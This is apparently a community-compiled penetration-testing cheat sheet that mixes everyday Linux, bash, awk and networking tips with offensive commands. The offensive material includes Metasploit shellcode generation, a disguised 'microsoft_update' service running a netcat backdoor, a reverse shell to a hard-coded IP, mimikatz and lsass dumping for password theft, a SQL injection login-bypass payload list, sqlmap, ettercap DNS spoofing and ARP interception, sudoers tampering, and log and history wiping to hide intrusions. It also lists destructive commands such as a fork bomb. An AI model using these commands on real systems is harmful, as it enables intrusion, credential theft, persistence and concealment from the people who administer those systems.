msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b "\x00″ -t c msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 R | msfencode -e x86/shikata_ga_nai -b "\x00″ -t c *COMMONLY USED BAD CHARACTERS:* \x00\x0a\x0d\x20 For http request \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_) *Useful Commands:* pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode ) !pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr modules !pvefindaddr nosafeseh
DSniff Tools - general syntax for most tools - assuming iface is wlan0
msgsnarf -v -i wlan1 urlsnarf -v -i wlan0 driftnet -v -i wlan1
Useful Windows Commands - Sort
net localgroup Users net localgroup Administrators search dir/s *.doc system("start cmd.exe /k $cmd") sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore /c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779 mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" Procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords" C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits
Create SSL cert.
openssl req -new -x509 -keyout cert.pem -out cert.pern -days 365 -nodes
SQL - Injection Authentication bypass commands - a-la dorks
or 1=1 or 1=1- or 1=1# or 1=1/* admin' - admin' # admin'/* admin' or '1′='1 admin' or '1′='1′/* admin'or 1=1 or "=' admin' or 1=1 admin' or 1=1- admin' or 1=1# admin' or 1=1/* admin') or ('1′='1 admin') or ('1′='1′- admin') or ('1′='1′# admin') or ('1′='1′/* admin') or '1′='1 admin') or '1′='1′/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" - admin" # admin"/* admin" or "1″="1″# admin" or "1″="1″/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1- admin" or 1=1# admin" or 1=1/* admin") or ("1″="1″/* admin") or "1″="1 admin") or "1″="1″/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
Deeper Searching - Google Commands
site: [url] Search Only one URL numrange:[#] ... [#] Search within a number range date:[ #] Search within past # months link: [url] Find pages that link to [url] related: [url] Find pages related to [url] intitle: [string] Find pages with [string] in title inurl: [string] Find pages with [string] in url filetype: [xls] Find files that are xls phonebook: [name] Find phone book listings of [name]
Make a service start on boot
update-rc.d <service> enable
Tools - SSH - network copy with ssh and tar
use ssh in conjunction with tar to pull an entire directory tree from a remote machine into your current directory - This technique is useful when you have insufficient disk space on the source machine to make an intermediate tarball. ssh <username@sourcehost> tar cf - -C <sourcedir> . | tar xvf -
Netcat - For the receiving box - Start a computer listening on port 6090 (or any other not in use) for file.txt
nc -lvp 6090 > file.txt
Netcat - On the sending machine This sends the file to the listed internal address.
nc 192.168.1.11 6090 < file.txt
Linux - Bash - Tip: View the content of the file in real time using tail -f. This is useful to view the log files, that keeps growing. The command can be terminated using CTRL-C.
$ tail -f log-file
less is very efficient while viewing huge log files, as it doesn't need to load the full file while opening.
$ less huge-log-file.log One you open a file using less command, following two keys are very helpful. CTRL+F - forward one window CTRL+B - backward one window
* --- Looking for Volunteers! --- * If you would like to help add to this collection, please contact - j[at]silosec.org *Project licensed under (CC)Creative Commons by Share Alike* - http://creativecommons.org/licenses/by-sa/4.0/ Big thanks to *Elf Qrin* - http://labs.geody.com/ for allowing me to include some of the entries from his collection - *The Debian Linux Magic Spells File* (Collaboration via CC-by-sa 4.0) *Go check it out now!!* http://labs.geody.com/docs/magic_spells_linux_debian.php
* --- Looking for Volunteers! --- * If you would like to help add to this collection, please contact - j[at]silosec.org *Project licensed under (CC)Creative Commons by Share Alike* - http://creativecommons.org/licenses/by-sa/4.0/ Big thanks to *Elf Qrin* - http://labs.geody.com/ for allowing me to include some of the entries from his collection - *The Debian Linux Magic Spells File* (Collaboration via CC-by-sa 4.0) *Go check it out now!!* http://labs.geody.com/docs/magic_spells_linux_debian.php
Bash Commands - Using Find - Useful examples
* Files created or modified in the last 10 min. find /home/user/ -cmin 10 -print * Search 'expr' in this dir and below find . -name '*.[ch]' | xargs grep -E 'expr' * Exclude README.txt files find . -type f -name "*.txt" ! -name README.txt -print * Find large files > 10 MB find /var/ -size +10M -exec ls -lh {} \; Or: find /var/ -size +10M -ls
Bash - Some Short but Interesting Snippets
* Ping Sweep: for x in {1..254..1};do ping -c 1 1.1.1.$x | grep "64 b" |cut -d"" -f4 ips.txt; done * DNS Reverse Lookup: for ip in {1..254..1}; do dig -x 1.1.1.$ip | grep $ip dns.txt; done;
Tools - AWK - Useful Commands
* Print and inverse first two columns awk '{ print $2, $1 }' file * Add line number left aligned awk '{printf("%5d : %s\n", NR,$0)}' file * Add line number right aligned awk '{print FNR "\t" $0}' files * remove blank lines (same as grep '.') awk NF test.txt * print line longer than 80 char awk 'length > 80'
Tools - Open Source Intelligence - Finding information on people, organizations, and webpages.
* Recon-ng - * Discover Scripts - * Maltego -
Tools - SED - Useful commands(a)
* Replace string1 with string2 - sed 's/string1/string2/g' * Replace a recurring word with g sed -i 's/wroong/wrong/g' *.txt * Modify anystring1 to anystring2 sed 's/\(.*\)1/\12/g' * Delete lines that start with <p> sed '/<p>/,/<\/p>/d' t.xhtml * Remove trailing spaces (use tab as \t) sed 's/[ \t]*$//' * Remove leading and trailing spaces sed 's/^[ \t]*//;s/[ \t]*$//' * Number lines on a file sed = file | sed 'N;s/\n/\t/' > file.num
Great online tools to have bookmarked and easily accessible.
* Tons of different tools of all kinds: http://manytools.org/ * Check a site for malware blacklists: http://sitecheck.sucuri.net/ * Reverse Hash search: https://leakdb.abusix.com/ * Resolve IP address from Skype Username: http://resolveme.org/index.php?do=resolve * Tons of online tools: http://online-domain-tools.com/ * 'Google' - like search for net-connected devices. Awesome: http://www.shodanhq.com/ * Central Ops - Lookup info on a host, including service detection, whois, etc: http://centralops.net/co/ * List of SOCKS proxies: http://sockslist.net/
References - Tools - Interesting and Useful Command Line Tools
* dtrx - dtrx, or "Do The Right Extraction" is a tool for *nix systems that take all the hassle out of extracting archives.
Linux Commands - System Information
* nbtstat -A ip* - Get hostname of an IP * getent passwd* - Show List of Users * cat /etc/issue* - Show OS Info * which tscsh/chs/ksh/bash* - Show location of executable
IP Tables - Commands
* sudo iptables-save -c file - Dump iptables (with counters) rules to stdout * sudo iptables-restore file - Restore iptables rules * sudo iptables -L -v --line-numbers - List all iptables rules with affected and line numbers
Linux Commands - Networking Commands
* watch ss -tp - Network Connections * netstat -tulpn - Connections with PID's * lsof -i - Established Connections * ifconfig <iface> <ip> / <cidr> - Set IP and Netmask * ifconfig eth0:1 <ip> <cidr> - Set Virtual Interface * route add default gw <gw_ip> - Set Gateway * tcpkill host ip and port port - Block IP and Port * echo "1" /proc/sys/net/ipv4/ip_forward - Turn on IP Forwarding
Linux Commands - Utility Commands
* wget http:// url -0 url.txt -o /dev/null* - Grab URL * rdesktop ip* - Remote Desktop connection to IP address * scp /tmp/file [email protected]:/tmp/file* - Put File * scp user@ remoteip :/tmp/file /tmp/file* - Get File * useradd -m user* - Add User * passwd usr* - Change User Password * rmuser uname* - Remove User * apropos subject* - Find Related Commands * ! number* - Executes line # in History
Layers of the OSI Model
*Layer 7 - Application* - Includes application software involved within sending and receiving data. Common Protocols: FTP, HTTP, Telnet *Layer 6 - Presentation* - In charge of how data is formatted and organized. Common Protocols: PDF, JPEG, DOCX, PNG *Layer 5 - Session* - Session control of data, synchronizing, termination. Common Protocols: SOCKS, NetBIOS, PPTP,RPC *Layer 4 - Transport* - End-to-end / point-to-point communication. Common Protocols: UDP, TCP *Layer 3 - Network* - Involves logical system addressing. Common Protocols: IPv4, IPv6, ARP, IPSec, ICMP *Layer 2 - Data Link* - Physical system addressing takes place here. Common Protocols: ARP *Layer 1 - Physical* - Data stream that's passed over the wire or hardware. Common Protocols: Teh lunch boxez :> ---- Two easy ways to remember, in both directions: 1. Please Do Not Throw Sausage Pizza Away and 2. All People Seem To Need Data Processing
Credits and References - Some of these I found on various sites. I'll list them here for credit.
*Shell-Fu - www.shell-fu.org* *Unix Toolbox* - http://cb.vu/unixtoolbox.xhtml *TuxArena Cheat sheet* - www.tuxarena.com N1tr0g3n* - Tutorials from www.n1tr0g3n.com *Linux/Unix/BSD Post-Exploitation Command List* - mubix[at]hak5.org *Tournas Dimitrios* - http://goo.gl/8b7f7T Mass Mediums* - http://goo.gl/ZQW2H9 http://code.tutsplus.com *HighOn Coffee* - https://highon.coffee *Rootbuster* - http://www.rebootuser.com/ *Nullcraft* *The Debian Linux Magic Spells File* - http://labs.geody.com/docs/magic_spells_linux_debian.php *Highon Coffee* - https://highon.coffee http://www.labnol.org/ https://sathisharthars.wordpress.com https://isc.sans.edu **Romanian Security Team** - *http://goo.gl/pKQexD* *https://sathisharthars.wordpress.com*
Very Useful Alias' - 2
*Show Free Memory* - alias freemem='watch -n 1 free -h' *Find 10 largest directories & Files* - alias top10='du -hsx * | sort -rh | head -10' **All Internet connections* - alias ports='sudo watch -n 1 netstat -tulanp' *Fix packages with "unmet dependencies"* - alias force='sudo apt-get -f install' *Show External IP address & any change of IP in real time.* alias ip='watch -n 1 --differences curl --silent ifconfig.me' *Autoremove unneeded programs* alias auto='sudo apt-get autoremove'
Very Useful Alias' - 1
*Show complete URL in netstat output* - alias neturl='sudo netstat -tup -W | column -t' *Display kernel routing information, updated every 5 seconds* - alias kernel='sudo watch -n 5 netstat -rn' *Watch disk space being used in "real time"* - in 5 second intervals alias diskw='watch -n 5 df -h' *List out only listening connections* alias listen='sudo watch -n 0.5 netstat -tnl'
Very Useful Alias' - 3
*Show established connections and keep updating using the watch command* alias estab='sudo watch -n 1 "netstat -atnp | grep ESTA" ' *Start a SimpleHTTPServer session on port 8089* - alias simple='sudo python -m SimpleHTTPServer 8089' *Basic encrypted SimpleHHPServer* - alias simples='sudo python -m SimpleHTTPServer & ncat --ssl -l 8443 --sh-exec "ncat 127.0.0.1 8000" --keep-open' *Removes all packages from the package cache* alias clean='sudo apt-get clean' *Does an update of the package lists and checks for broken dependencies* - alias check='sudo apt-get check'
Tips - nmap - Add this to your nmap host discovery scan to avoid doing reverse-DNS lookups on all the addresses. It saves a LOT of time
-n example: nmap -sP -n 192.168.1.0/24
Using nmap - nmap's Scripting Engine -
-sC - Run Default Scripts --script=<Scriptame>| - Run the Script <ScriptName> <ScriptCatagory>|<ScriptDir>... - Run a Script Catagory --script-args=<name1=Value1,...> - Use the list of script args --script-updatedb - Update the Script Database - run first Script Catagory List (most, ot all - check http://nmap.org/nsedoc/ for full list -) : auth - Credential and bypass authentication on targets broadcast - Find hosts not on command line by broadcasting on localhost brute - Attempts to crack a variety of protocols default - Scripts that run automatically when using -sC and -A discovery - Attempts to get more info on targets via OSInt (Open Source Intelligence) dos - Attempts to cause a Denial of Service to crash host exploit - Attempt to exploit target fuzzer - Send gobs of random info to protocol fields intrusive - These scripts may crash or overload target malware - Check for signs of malware on target host safe - Be sure not to harm host in any way vul - Try to find vulnerabilities on target
SQLMap - Injection to get tables
./sqlmap.py -u "http:// url " --data="id=1&str=val" -p "id" --tables -D "testdb"
SQLMap - Use SQLmap to inject and collect the database version and user
./sqlmap.py -u "http://url "--data="id=1&str=val" -p "id" -b --current-db --current-user
Linux - Common File System Structure - Where Files are Stored
/bin - User Binaries /boot - Boot-Up Related Files /dev - Interface for Sysytem Devices /etc - System Configuration Files /home - Base Directory for User Files /lib - Critical Software Libraries /opt - Third Party Software /proc - System and Running Programs /root - Home Directory of Root User /sbin - System Administrator Binaries /tmp - Temporary Files /usr - Less Critical Files /var - Variable System Files
Common port protocols - part 2 - 110 - 137-139 - 143 - 161-162 - 443 -
110 - POP3 Post Office Protocol :D 137-139 - NetBIOS 143 - IMAPv4 161-162 - SNMP 443 - HTTP Over SSL
Nessus - Start Nessus running as a server -
/etc/init.d/nessusd start
Linux - Common Files - Part 2
/etc/profile - System Environental Variables /etc/apt/sources.list - Ubuntu Sources List /etc/resolve.conf - Nameserver Configuration /home/user/.bash_history - Bash History (also /root/) /usr/share/wireshark/manuf - Vendor-MAC Lookup ~/.ssh/ - SSH Keystore /var/log - System Log files (Most Linux) /var/adm - System Log files (Unix) /var/spool/cron - List Cron Files /var/log/apache/access.log - Apache Connection Log /etc/fstab - Static File System Info
Linux - Common Files - Part 1
/etc/shadow - Local User's Hashes /etc/passwd - Local Users /etc/group - Local Groups /etc/rc.d - Startup Services /etc/init.d - Services /etc.hosts - Known Hostnames and IP's /etc/HOSTNAME - Full Hostname with Domain /etc/network/interfaces - Network Configuration
Common port protocols - part 1 - 20 - 22 - 23 - 53 - 80 -
20 - FTP - File Transfer Protocol 22 - SSH - Secure SHell 23 - Telnet 53 - SMTP - Simple Mail Transfer protocol 80 - HTTP - HyperText Transfer Protocol
Common port protocols - part 3 - 465 - 587 - 691 - 989-990 - 993 -
465 - SMTP Over SSL - Simple Mail Transfer Protocol 587 - SMTP - Simple Mail Transfer Protocol 691 - MS Exchange 989-990 - FTP Over SSL - File Transfer Protocol- 993 - IMAP4 Over SSL
Code - A PHP Snippet that will Log the IP Address of visitors, and save them to iplogs.txt
<?php $IP = $_SERVER['REMOTE_ADDR']; $p = fopen("iplogs.txt", "a"); fwrite($p, $IP); fwrite($p, " ");
Linux Commands - Random useful, yet less common commands
Add "user" to list of Sudoers: echo 'user ALL=(ALL) ALL' >> /etc/sudoers unset HISTFILE - Disable History Logging ssh user@ ip arecord - | aplay - Record Remote Mic (test) gcc -o outfile myfile.c - Compile C, C++ init 6 - Reboot (0 = shutdown) cat /etc/ 1 syslog 1 .conf 1 grep -v "# - List of Log Files (fix) grep 'href=' file cut -d"/" -f3 | grep url |sort -u - Strip Links in url.com dd if=/dev/urandom of= file bs=3145728 count=100 - Make Random 3MB File whatis <name of command> - Whatis command displays a single line description about a command.
Run a Script as Root on Startup
Add script to /etc/rc.local
Linux - Bash - Tip: To view a screen by screen output if display is printing out too quickly
Add this to the end of your command: | more
Tips - Bash - Get an ordered list of subdirectory sizes
All in one line - du -sk ./* | sort -n | awk 'BEGIN{ pref[1]="K"; pref[2]="M"; pref[3]="G";} { total = total + $1; x = $1; y = 1; while( x > 1024 ) { x = (x + 1023)/1024; y++; } printf("%g%s\t%s\n",int(x*10)/10,pref[y],$2); } END { y = 1; while( total > 1024 ) { total = (total + 1023)/1024; y++; } printf("Total: %g%s\n",int(total*10)/10,pref[y]); }'
Tips - Bash - !! (Bang Bang)(a)
Bang Bang. Repeat last command after current command. Example: $ testcommand error - permission denied. $ sudo !! * use '!*' to repeat all arguments '!:2' to use the second argument '!$' uses the final argument.
Covering Your Tracks - Linux - Erasing your presence before leaving a box you've hacked (a)
Clear the auth log file: echo "" /var/log/auth.log Clear Current User Bash History: echo "" ~/.bash_history Delete .bash_history file: rm ~/.bash_history -rf Clear Current Session History: history -c Set History max Lines to 0: export HISTFILESIZE=0 Set History Max Commands to 0: export HISTSIZE=0 Disable History - need to logout after: unset HISTFILE Kill Current Session: kill -9 $$ Permanently Send All Bash History Commands to /dev/null: ln /dev/null ~/.bash_history -sf
SSH - A common use of ssh client is to copy files from/to remote host using scp. [email protected]:/home/jsmith/localhostfile.txt
Copy file from the remotehost to the localhost: $ localhost$scp [email protected]:/home/jsmith/remotehostfile.txt remotehostfile.txt Copy file from the localhost to the remotehost: $ localhost$scp localhostfile.txt [email protected]:/home/jsmith/localhostfile.txt
Android - Change your Android's MAC Address -
Download Busybox from the Google store first, and then download a Terminal Emulation app, such as (check later). After they are both installed, enter the Terminal emulator and type: :su :busybox iplink show wlan0 :busybox ifconfig wlan0 hw ether 00:11:22:33:44:55 To Check MAC - :busybox iplink show wlan0
TOOLBOX 001 - Useful Tools - Individual notes and details on tools themselves will be in separate entries of their own.
ENUMERATION - * - dnsemum - Perl script for enumerating DNS info. * - snmpenum - Listing of Tools from the BlackArch Repo - http://blackarch.org/tools.html (ongoing entry - please add to)
Tips - Bash - Use expansion to move a file aside without having to type the file name twice
Example: cp ReallyLongFileNameYouDontWantToTypeTwice{,.orig}
Proxychains - Choose a method of chaining -
In the proxychains.conf, you will notice there are 3 different types of chaining that proxychains can do. There is Dynamic chaining, which connects to the proxies listed in order as they are listed, There is Strict chaining, which is like Dynamic except that ALL proxies have to be online and working, and then there is Random chaining, which will connect to the proxies listed in a random order. Choose on and UNCOMMENT it, while leaving the others commented. Example of Commented entry: #example Example of UNcommented entry: example
Using nmap - Probing and Scanning Options/Types
Probing Options - -Pn - Don't Probe, assuming all hosts are up -PB - Default Probe (TCP 80, 445 & ICMP) -PS<portlist> - Use TCP to probe to see if targets are up -PE - Use ICMP Echo Requests -PM - Use ICMP Netmask Request Scan Types - -sP - ONLY Probe (discover live hosts but no port scan) -sS - SYN Scan -sT - TCP Connect -sU - UDP Scan -sV - Scans for Software Version names -O - Detect the OS (Operating System) --scanflags - Set custom list of TCP using URG ACK PSH RST SYN FIN in any order
REGEX - Regular Expressions - Terms - (a)
^ - Beginning ofString * - 0 or More + - 1 or More . - Any character but \n ? - 0 or 1 {5} - Exactly 5 {5,} - 5 or More {5,7} - 5 or 6 or 7 [567] - 5 or 6 or 7 [^21] - Not 2 or 1 [0-9] - Digits from 0 to 9 [A-Z] - From capital A to capital Z [a-z] - From lowercase a to lowercase z \w - A-Z, a-z, 0-9 \W - NOT A-Z, a-z, 0-9 \s - Whitespace (\t\r\f\n) \S - NOT (\t\r\f\n) \D - Not a digit \d - IS a digit
Connect to FTP through curl
curl ftp://username:[email protected]/ftpdir/
QUICK way to send a small e-mail from Terminal. Also a good way to just test a mail server. Sendmail has to be installed, and probably already is, but if not, sudo apt-get install sendmail
echo "This is the mail body" | mail [email protected] Example of mail ussage: # mail [email protected] <hit Enter> Subject: Type subject here <Hit Enter> "For a moment, nothing happened. Then, after a second or so, nothing continued to happen." . EOT <Hit Enter> # Options using the mail command: Usage: mail -eiIUdEFntBDNHRV~ -T FILE -u USER -h hops -r address -s SUBJECT -a FILE -q FILE -f FILE -A ACCOUNT -b USERS -c USERS -S OPTION users
DNS Poisoning in Ettercap for Man-in-the-Middle - this is AFTER you have customized the config file (more later)
ettercap -T -q -i wlan1 -M arp:remote -P dns_spoof //
Configure iptables for routing - before ARP spoofing
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
Dangerous shell commands to avoid - mv ~ /dev/null :(){ :|: & };: rm -rf /
mv ~ /dev/null - ~ means Home folder. This moves Home folder to dev/null (black hole) :(){ :|: & };: - Fork Bomb! Creates copies of itself endlessly, resulting in DoS rm -rf / - Deletes everything